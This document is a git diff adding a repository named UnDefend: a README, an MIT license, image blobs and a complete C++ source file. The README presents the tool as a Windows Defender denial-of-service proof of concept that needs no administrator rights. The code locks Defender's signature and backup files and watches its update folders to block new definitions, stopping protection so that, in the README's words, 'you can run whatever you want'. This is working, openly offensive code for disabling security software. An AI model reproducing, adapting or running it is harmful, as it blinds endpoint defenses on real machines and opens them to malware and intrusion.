z5N;h37uY!Tqqc(SZ~p3(Xt#s2b6&APMMnhWE30;{xa<08+ERMO6mnBln{%R10M>t} zt{zUI*PF0BjH`Qh-% zm_Ya-FuuIA7XnVTm*TV1&erx;>u~OY$df5G4^E^Elc*NaKMD8u@2?|j95?o#aGDd2 z*w!RNZqA|q8U|D4*8lmxiqWn25tcvA*2ojFuAOGtmIq~aIb}oQp=2ckt1V^Sbt1)0 z=a-jpiNW?As?f`gtz z^1@Ysqtpn^Gz<`fS-&y`F)i-ZK zL^X6c$l5|3R13Iq!+@y;PQPnSKxvT3qmeLtAV%%y98HYltUY{Ef@PmL~b&)$SSjh&+na}aV zACrOILyf-?su&4SjXoP&P)Wg-=$Z3`Jeot1js92kMhTAlFTql$oD`|gQ!4%^9>o8V zDDmI%7xqY-aT~6I2FTjh8?ou$niEg86>}s`KBPck?ei(f_~5*%kGF z;W-F4QHVH}fZEtC(%A%!u^CNY{G^L@tvNqE*;M*rykuOB%J8Mv6Y$BD1NqD6hflT5 zdAHWNc&1WB8X$MJ89yp0FtM0wX+j5+{1{)8Tl_1=L3@zFrH@il-T}M8)aQ)p_Y@N~ zRfIf-NE`@egcJoc$sy<8I9APhN65Q~qzMFpG*E|Ia&&7oIK|4G$kHE4{*(3bj}j9# zVYneRpD~u^Os&l1CkH?Odu0yThaDIz-dw3&4Yeq!krA_)1G&vcX$C(2tn+4dIEO-G4cg; zaVPJX0JR03hPHAkiZtr#L_h_RZ)(7vZ=#&9qD0k$%&@ip@Z>#?+NOg*o7@%=!fHK6 zj->q27{#41LrxdsIvg;Nrp7)J4zjh4%uF})z)7oB=cju)KjN7*234N`78*poiNq>F zhmfmck3G~tb%452rv>8aBGj=%(0l**Vdm(lC*?z%_CRTPXZ*NO)xILdi~5=nboFNs zTDZ+BT;wkZ?$^6Y>fOk6$lXrXc$Fkx5%JkKAh0W>bMykQ2*Hm$Aa5A0-MiC+0ql(2 zoS7@%^jL1;uj9k54-wHHAtY0!lCO)|T^iGg=QPE1NPd9)d753y87DPr0?cE7i!5Da zK7(JhT(&lAg;^0KnM?@82nd|@I&jjYFNiJ+Z6NArPA%3HmE74vNcBXA7(x$ZI4M8| zZf!rOB>ufNk75)aA!Ct_PW-Q;ej^u9w*&NnT%vKAk%S&nY zD9bjY5DDTmm8%bl^U&zbMF}oHP4NLzk3=R!XP-8+@+gtkkZ&vm#LpdncO3otM3hyj zcvE>zGuyB;vkk*>335+gU!Q*51%21YSjlI~E^<${G?kpr5Fpp_JO%o}nt)n0kxM}b zK*z8Fu*8mSI_RJmg5OJ|8Brzf2O0u(DkJ!Fs@hV!fBe?@K-7{Ha9iZ+NEivZ9CviV zkQnK(@SLYV%S``9u#2cFkxn8R_c6LD_RVBL`ih&I#f0gHC{|^Cd$^33myBE4XNuIO vq(~kw_CAD%K(cW_JD3@q$&8+2e9q>u1{NH<<7!btu3TsD!9D4}Szi1fJ@g)~ literal 0 HcmV?d00001 diff --git a/un-defend/LICENSE b/un-defend/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/un-defend/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/un-defend/README.md b/un-defend/README.md new file mode 100644 index 0000000..5adc8ca --- /dev/null +++ b/un-defend/README.md @@ -0,0 +1,16 @@ +# UnDefend +Repository hosting windows defender DOS tool + +This tool does not need administrative privileges and can works as a standard user. + +It runs in two modes, passive and aggressive, + +In Passive mode, the PoC blocks all signature updates, causing defender to be unable to detect any new threats so if anything new is pushed by Microsoft, it is immediately blocked. + +![BottomText](UpdateError.png) + +In Aggressive mode, the PoC aims to completely disable but it only works if Microsoft pushes a major platform update (update of MsMpEng.exe and other binaries), this update isn't pushed occasionally like signature updates so the PoC runs in passive mode by default. However, if you expect a major platform update, set the PoC to run in aggressive mode and it will cause windows defender to stop responding. It will be completely disabled and you can run whatever you want without having defender interfer in your business. + +![BottomText](EngineUnavailable.png) + +Now funnily enough, I found a way to lie to the EDR web console to show that defender is up and running with the latest update even if it's not. I was thinking about publishing the code but after thinking about it, it will cause waaay too much damage so I think I'll keep that stuff stashed for now. diff --git a/un-defend/UnDefend.cpp b/un-defend/UnDefend.cpp new file mode 100644 index 0000000..482c6b6 --- /dev/null +++ b/un-defend/UnDefend.cpp @@ -0,0 +1,452 @@ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#pragma comment(lib,"ntdll.lib") + +HANDLE* gHandleTracker = NULL; +CRITICAL_SECTION* gHandleTrackerLock; + +wchar_t gbackupfile1[MAX_PATH] = { 0 }; +wchar_t gbackupfile2[MAX_PATH] = { 0 }; + +struct UpdThreadObj { + + wchar_t* wdupdatedir; + wchar_t* target; + +}; + +void AddHandle(HANDLE hlock) +{ + // shit code but works i guess + static unsigned int handlecount = 0; + EnterCriticalSection(gHandleTrackerLock); + HANDLE* ntracker = (HANDLE*)malloc((++handlecount + 1) * sizeof(HANDLE)); + if (gHandleTracker) + { + memmove(ntracker, gHandleTracker, handlecount * sizeof(HANDLE)); + } + ntracker[handlecount - 1] = hlock; + ntracker[handlecount] = NULL; + if (gHandleTracker) + free(gHandleTracker); + gHandleTracker = ntracker; + LeaveCriticalSection(gHandleTrackerLock); +} + +void TryLockBackup() { + + static HANDLE hlock1 = NULL; + static HANDLE hlock2 = NULL; + if (hlock1 && hlock2) + return; + UNICODE_STRING unistr = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + RtlInitUnicodeString(&unistr, gbackupfile1); + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + NTSTATUS ntstat = STATUS_SUCCESS; + if (!hlock1) + ntstat = NtCreateFile(&hlock1, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + + RtlInitUnicodeString(&unistr, gbackupfile2); + if (!hlock2) + ntstat = NtCreateFile(&hlock2, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + LARGE_INTEGER li2 = { 0 }; + if (hlock1) { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock1, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock1, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock1); + } + if (hlock2) + { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock2, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock2, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock2); + + } + return; +} + + +DWORD WINAPI UpdateBlockerThread(UpdThreadObj* argv) +{ + wchar_t fpath[MAX_PATH] = { 0 }; + wchar_t _fpath[MAX_PATH] = { 0 }; + wcscpy(fpath, argv->wdupdatedir); + wcscat(fpath, L"\\"); + wcscat(fpath, argv->target); + free(argv->target); + delete argv; + DWORD index = 0; + + HANDLE hlock = NULL; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + CLSID tmp = { 0 }; + NTSTATUS stat = STATUS_SUCCESS; + IO_STATUS_BLOCK iostat = { 0 }; + wchar_t mx[40] = { 0 }; + /* + for (int i = wcslen(fpath); i > 0; i--) { + + if (fpath[i] == L'\\') + { + if (wcslen(fpath) > 99) + { + memmove(mx, &fpath[i - 38], 38 * sizeof(wchar_t)); + break; + } + else if (wcslen(fpath) > 67) + { + memmove(mx, &fpath[i - 6], 6 * sizeof(wchar_t)); + break; + } + + break; + } + } + wchar_t __cmp[7] = { 0 }; + memmove(__cmp, mx, 6 * sizeof(wchar_t));*/ + if (1/*(!CLSIDFromString(mx, &tmp)) || _wcsicmp(__cmp, L"Backup") == 0*/) + { + printf("Found path : \"%ws\"\n", fpath); + wcscpy(_fpath, L"\\??\\"); + wcscat(_fpath, fpath); + RtlInitUnicodeString(&target, _fpath); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + do { + stat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL); + if (stat == STATUS_NOT_FOUND || stat == STATUS_OBJECT_NAME_NOT_FOUND || stat == STATUS_OBJECT_PATH_NOT_FOUND) + return stat; + } while (stat); + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock, &li); + LARGE_INTEGER offset = { 0,0 }; + + if (!LockFile(hlock, offset.LowPart, offset.HighPart, li.LowPart, li.HighPart)) + { + printf("LockFile failed, error : %d\n", GetLastError()); + } + printf("File \"%ws\" was locked.\n", fpath); + + AddHandle(hlock); + } + + return ERROR_SUCCESS; +} + + +VOID WDKillerCallback(IN PVOID pParameter) +{ + + printf("Windows defender stopped...\n"); + PSERVICE_NOTIFY psny = (PSERVICE_NOTIFY)pParameter; + SC_HANDLE hsvc = (SC_HANDLE)psny->pContext; + DWORD requiredbytes = 0; + QueryServiceConfig(hsvc, NULL, NULL, &requiredbytes); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + LPQUERY_SERVICE_CONFIG svccfg = (LPQUERY_SERVICE_CONFIG)malloc(requiredbytes); + if (!QueryServiceConfig(hsvc, svccfg, requiredbytes, &requiredbytes)) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + svccfg->lpBinaryPathName[wcslen(svccfg->lpBinaryPathName) - 1] = NULL; + wchar_t* binpath = &svccfg->lpBinaryPathName[1]; + /* + wchar_t dllpath[MAX_PATH] = { 0 }; + memmove(dllpath, binpath, wcslen(binpath) * sizeof(wchar_t) - (11 * sizeof(wchar_t))); + wcscat(dllpath, L"MpSvc.dll"); + printf("%ws\n", dllpath); + */ + + + HKEY wdkey = NULL; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return; + } + wchar_t sigpath[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(sigpath); + //TODO : Check if this returns a properly null terminated string + DWORD retcode = RegQueryValueEx(wdkey, L"SignatureLocation", NULL, NULL, (LPBYTE)sigpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender signature path.\n"); + return; + } + + wcscat(sigpath, L"\\mpavbase.vdm"); + wchar_t _sigpath[MAX_PATH] = { 0 }; + wcscpy(_sigpath, L"\\??\\"); + wcscat(_sigpath, sigpath); + UNICODE_STRING unistr = { 0 }; + RtlInitUnicodeString(&unistr, _sigpath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + // if you are reading this, you are autistic. + HANDLE hlock = NULL; + NTSTATUS ntstat = STATUS_SUCCESS; + ntstat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + if (ntstat) + { + printf("Failed to open engine file \"%ws\", error : 0x%0.8X\n", unistr.Buffer, ntstat); + return; + } + LARGE_INTEGER li = { 0 }; + LARGE_INTEGER li2 = { 0 }; + GetFileSizeEx(hlock, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + + printf("File locked.\n"); + free(svccfg); + AddHandle(hlock); + return; +} + + +DWORD WINAPI WDKillerThread(void*) +{ + SC_HANDLE hsvc = NULL; + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + { + printf("Failed to open service manager, error : %d\n", GetLastError()); + return 1; + } + hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + CloseServiceHandle(scmgr); + if (!hsvc) + { + printf("Failed to open WinDefend service, error : %d\n", GetLastError()); + return 1; + } + + SERVICE_STATUS svcstat = { 0 }; + if (!QueryServiceStatus(hsvc, &svcstat) || svcstat.dwCurrentState != SERVICE_RUNNING) + { + printf("Windows Defender isn't running, exiting..."); + CloseHandle(hsvc); + ExitProcess(ERROR_SUCCESS); + } + while (1) { + SERVICE_NOTIFY_2W svcnotify = { 0 }; + svcnotify.dwVersion = SERVICE_NOTIFY_STATUS_CHANGE; + svcnotify.pfnNotifyCallback = WDKillerCallback; + svcnotify.pContext = hsvc; + if (NotifyServiceStatusChangeW(hsvc, + SERVICE_NOTIFY_STOPPED, &svcnotify)) + { + printf("Failed to set a notification for windows defender status.\n"); + CloseHandle(hsvc); + return 1; + } + printf("Registered callback for Windows Defender status change.\n"); + SleepEx(INFINITE, TRUE); + } + CloseHandle(hsvc); + return 0; + +} + +DWORD WINAPI MRTWorkerThread(void*) { + + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[] = { L"\\??\\C:\\Windows\\System32\\MRT"}; + UNICODE_STRING target = { 0 }; + RtlInitUnicodeString(&target, _wdupdatedir); + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hmonitordir = NULL; + DWORD retbytes = 0; + + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + do { + Sleep(10); + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + + } while (stat == STATUS_OBJECT_NAME_NOT_FOUND); + if (stat || !hmonitordir) + { + printf("Failed to open MRT directory, error : 0x%0.8X\n",stat); + return 1; + } + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = &_wdupdatedir[4]; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + } while (1); + return ERROR_SUCCESS; +} + +int wmain() +{ + DWORD tid2 = 0; + + + wchar_t updatedir[MAX_PATH] = { 0 }; + HKEY wdkey = NULL; + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t wdupdatedir[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(wdpath); + DWORD retbytes = 0; + DWORD retcode = 0; + HANDLE hmonitordir = NULL; + NTSTATUS stat = STATUS_SUCCESS; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + gHandleTrackerLock = new CRITICAL_SECTION; + InitializeCriticalSection(gHandleTrackerLock); + + + HANDLE wdkiller = NULL; + + + + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return 1; + } + + //TODO : Check if this returns a properly null terminated string + retcode = RegQueryValueEx(wdkey, L"ProductAppDataPath", NULL, NULL, (LPBYTE)wdpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender installation path.\n"); + return 1; + } + + wcscpy(wdupdatedir, wdpath); + wcscat(wdupdatedir, L"\\Definition Updates"); + + wcscpy(_wdupdatedir, L"\\??\\"); + wcscat(_wdupdatedir, wdupdatedir); + + wcscpy(gbackupfile1, _wdupdatedir); + wcscpy(gbackupfile2, _wdupdatedir); + wcscat(gbackupfile1, L"\\Backup\\mpavbase.lkg"); + wcscat(gbackupfile2, L"\\Backup\\mpavbase.vdm"); + + TryLockBackup(); + + wdkiller = CreateThread(NULL, NULL, WDKillerThread, NULL, NULL, &tid2); + + // run in killer mode + // WaitForSingleObject(wdkiller,INFINITE); + // + + HANDLE mrtkiller = CreateThread(NULL, NULL, MRTWorkerThread, NULL, NULL, &tid2); + if (!wdkiller) + { + printf("Failed to create defender killer thread.\n"); + } + if (!mrtkiller) + { + printf("Failed to create MRT killer thread.\n"); + } + + RtlInitUnicodeString(&target, _wdupdatedir); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + if (stat || !hmonitordir) + { + printf("Failed to open windows defender update directory.\n"); + return 1; + } + + + + //WaitForSingleObject(gevent, INFINITE); + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = wdupdatedir; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + + } while (1); + + + CloseHandle(hmonitordir); + + + return 0; +} \ No newline at end of file diff --git a/un-defend/UpdateError.png b/un-defend/UpdateError.png new file mode 100644 index 0000000000000000000000000000000000000000..d1a4814314fbb8562bf21e74dedff616fe1e7d9e GIT binary patch literal 93540 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 